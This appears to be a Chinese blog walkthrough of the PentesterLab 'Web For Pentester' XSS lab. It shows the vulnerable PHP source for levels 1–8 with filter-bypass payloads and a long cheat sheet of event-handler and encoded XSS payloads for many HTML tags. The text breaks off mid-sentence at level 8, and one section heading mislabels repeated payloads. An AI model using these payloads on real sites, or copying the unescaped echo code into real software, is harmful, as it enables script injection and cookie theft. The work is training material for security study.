本文最后更新于 2026-02-13T14:57:31+08:00
学习网站:https://www.sqlsec.com/2020/01/xss.html#Web-For-Pentester
靶场下载地址:https://isos.pentesterlab.com/web_for_pentester_i386.iso
Web For Pentester
靶场搭建
新建一个虚拟机


之后都默认设置下一步,改一下安装位置就好
查看IP地址

访问这个地址就好啦

靶场通关
Leval-1无任何过滤
源码
1 2 3
| <?php echo $_GET["name"]; ?>
|
通过GET方式传参,参数为name变量
尝试payload

payload
1
| ?name=<script>alert('xss')</script>
|
弹窗显示xss

Leval-2大小写绕过
尝试payload
1
| ?name=<script>alert('xss')</script>
|

发现没有弹窗,说明可能存在waf,看回显了alert(‘xss’),那waf可能存在标签上
看了作者给的源码
1 2 3 4 5 6
| <?php $name = $_GET["name"]; $name = preg_replace("/<script>/","", $name); $name = preg_replace("/<\/script>/","", $name); echo $name; ?>
|
过滤了<script>,</script>,如果检测到会将其替换为空
可以利用大小写绕过
payload(这里不是唯一payload,可以任选字符改成大写)
1
| ?name=<Script>alert('xss')</Script>
|

Leval-3嵌套绕过
源码
1 2 3 4 5 6
| <?php $name = $_GET["name"]; $name = preg_replace("/<script>/i","", $name); $name = preg_replace("/<\/script>/i","", $name); echo $name; ?>
|
这里正则匹配在上一关的基础上多了/i,表示不区分大小写了,那这里就不能用大小写绕过了
构造一个嵌套标签(这里嵌套的方式不固定)
标签中完整的<script>被检测到后会被替换为空,剩下的能够拼接成<script>
payload
1
| ?name=<scr<script>ipt>alert('xss')</scr</script>ipt>
|

Leval-4其他标签绕过
源码
1 2 3 4 5 6 7 8
| <?php require_once '../header.php';
if (preg_match('/script/i', $_GET["name"])) { die("error"); } ?>
Hello <?php echo $_GET["name"]; ?>
|
script被完全过滤了,因此上述两种方法都不能绕过了
但是可以通过其他标签触发js事件
payload
1
| ?name=<img src=x onerror=alert('xss')>
|

其他标签绕过
0x01<a>标签
1 2 3 4 5
| <a href="javascript:alert(1)">test</a> <a href="x" onfocus="alert('xss');" autofocus="">xss</a> <a href="x" onclick=eval("alert('xss');")>xss</a> <a href="x" onmouseover="alert('xss');">xss</a> <a href="x" onmouseout="alert('xss');">xss</a>
|
0x02. <img>标签
1 2 3 4 5
| <img src=x onerror="alert(1)"> <img src=x onerror=eval("alert(1)")> <img src=1 onmouseover="alert('xss');"> <img src=1 onmouseout="alert('xss');"> <img src=1 onclick="alert('xss');">
|
0x03. <iframe>标签
1 2 3 4 5 6
| <iframe src="javascript:alert(1)">test</iframe> <iframe onload="alert(document.cookie)"></iframe> <iframe onload="alert('xss');"></iframe> <iframe onload="base64,YWxlcnQoJ3hzcycpOw=="></iframe> <iframe onmouseover="alert('xss');"></iframe> <iframe src="data:text/html;base64,PHNjcmlwdD5hbGVydCgneHNzJyk8L3NjcmlwdD4=">
|
0x04. <audio> 标签
1 2 3 4
| <audio src=1 onerror=alert(1)> <audio><source src="x" onerror="alert('xss');"></audio> <audio controls onfocus=eval("alert('xss');") autofocus=""></audio> <audio controls onmouseover="alert('xss');"><source src="x"></audio>
|
0x05. <video>标签
1 2 3 4 5
| <video src=x onerror=alert(1)> <video><source onerror="alert('xss');"></video> <video controls onmouseover="alert('xss');"></video> <video controls onfocus="alert('xss');" autofocus=""></video> <video controls onclick="alert('xss');"></video>
|
0x06. <svg> 标签
1 2
| <svg onload=javascript:alert(1)> <svg onload="alert('xss');"></svg>
|
0x07. <button> 标签
1 2 3 4 5 6 7
| <button onclick=alert(1)> <button onfocus="alert('xss');" autofocus="">xss</button> <button onclick="alert('xss');">xss</button> <button onmouseover="alert('xss');">xss</button> <button onmouseout="alert('xss');">xss</button> <button onmouseup="alert('xss');">xss</button> <button onmousedown="alert('xss');"></button>
|
0x08. <div>标签
这个需要url编码
1 2 3 4
| 原代码: <div onmouseover='alert(1)'>DIV</div> 经过url编码: <div onmouseover%3d'alert%26lpar%3b1%26rpar%3b'>DIV<%2fdiv>
|
0x09.<object>标签
需要利用data伪协议和base64编码实现绕过
1
| <object data="data:text/html;base64,PHNjcmlwdD5hbGVydCgveHNzLyk8L3NjcmlwdD4="></object>
|
0x10. <script> 标签
1 2 3
| <script>alert('xss')</script> <script>alert(/xss/)</script> <script>alert(123)</script>
|
0x11. <p> 标签
1 2 3 4
| <p onclick="alert('xss');">xss</p> <p onmouseover="alert('xss');">xss</p> <p onmouseout="alert('xss');">xss</p> <p onmouseup="alert('xss');">xss</p>
|
0x12. <input> 标签
1 2 3 4 5 6 7
| <input onclick="alert('xss');"> <input onfocus="alert('xss');"> <input onfocus="alert('xss');" autofocus=""> <input onmouseover="alert('xss');"> <input type="text" onkeydown="alert('xss');"></input> <input type="text" onkeypress="alert('xss');"></input> <input type="text" onkeydown="alert('xss');"></input>
|
0x13. <details>标签
1 2 3
| <select onfocus="alert('xss');" autofocus></select> <select onmouseover="alert('xss');"></select> <select onclick=eval("alert('xss');")></select>
|
0x14. <select> 标签
1 2 3
| <select onfocus="alert('xss');" autofocus></select> <select onmouseover="alert('xss');"></select> <select onclick=eval("alert('xss');")></select>
|
0x15. <form> 标签
1 2 3
| <form method="x" action="x" onmouseover="alert('xss');"><input type=submit></form> <form method="x" action="x" onmouseout="alert('xss');"><input type=submit></form> <form method="x" action="x" onmouseup="alert('xss');"><input type=submit></form>
|
0x16. <body> 标签
1
| <body onload="alert('xss');"></body>
|
Leval-5编码或其他方法绕过
源码
1 2 3 4 5 6 7 8
| <?php require_once '../header.php';
if (preg_match('/alert/i', $_GET["name"])) { die("error"); } ?>
Hello <?php echo $_GET["name"]; ?>
|
/alert/i这里对关键词进行了不区分大小写的过滤,可以使用其他类似alert的方法来弹窗
与alert类似的方法(可以弹窗)
payload1
1 2
| ?name=<script>confirm('XSS')</script>#会有xss弹窗显示 ?name=<script>prompt('XSS')</script>#会有xss弹窗显示并伴有输入框
|
也可以通过String.fromCharCode()编码来绕过
1 2 3
| alert('XSS') #String.fromCharCode()编码后 String.fromCharCode(97, 108, 101, 114, 116, 40, 39, 88, 83, 83, 39, 41)
|
payload2
1
| ?name=<script>eval(String.fromCharCode(97, 108, 101, 114, 116, 40, 39, 88, 83, 83, 39, 41))</script>
|
Leval-6闭合双引号
源码
1 2 3
| <script> var $a= "<?php echo $_GET["name"]; ?>"; </script>
|

按照上一个payload只会打印出一个引号
分析源码
通过GET传参的方式,直接输出在Script标签里面,这里需要闭合前面的双引号”,然后就可以直接调用alert实现弹窗,结束再用一个双引号闭合后面的引号
payload1
也可以通过//直接注释掉后面的双引号这样后面就不用考虑闭合了
payload2
Leval-7闭合单引号
源码
1 2 3
| <script> var $a= '<?php echo htmlentities($_GET["name"]); ?>'; </script>
|
这个源码和上一题很像,注意到这里用的是单引号闭合
payload
1 2
| ?name=';alert('xss');' ?name=';alert('xss');//
|
Leval-8闭合单引号
源码
1 2 3 4 5 6 7 8 9 10
| <?php require_once '../header.php';
if (isset($_POST["name"])) { echo "HELLO ".htmlentities($_POST["name"]); } ?> <form action="<?php echo $_SERVER['PHP_SELF']; ?>" method="POST"> Your name:<input type="text" name="name" /> <input type="submit" name="submit"/>
|
POST形式传参,参数是name,htmlentities()是实体化
1
| <form action="<?php echo $_SERVER['PHP_SELF']; ?>" method="POST">
|
可以控制参数PHP_SELF,并且没有过滤直接输入到form标签中,所以这里通过闭合引号和标签,通过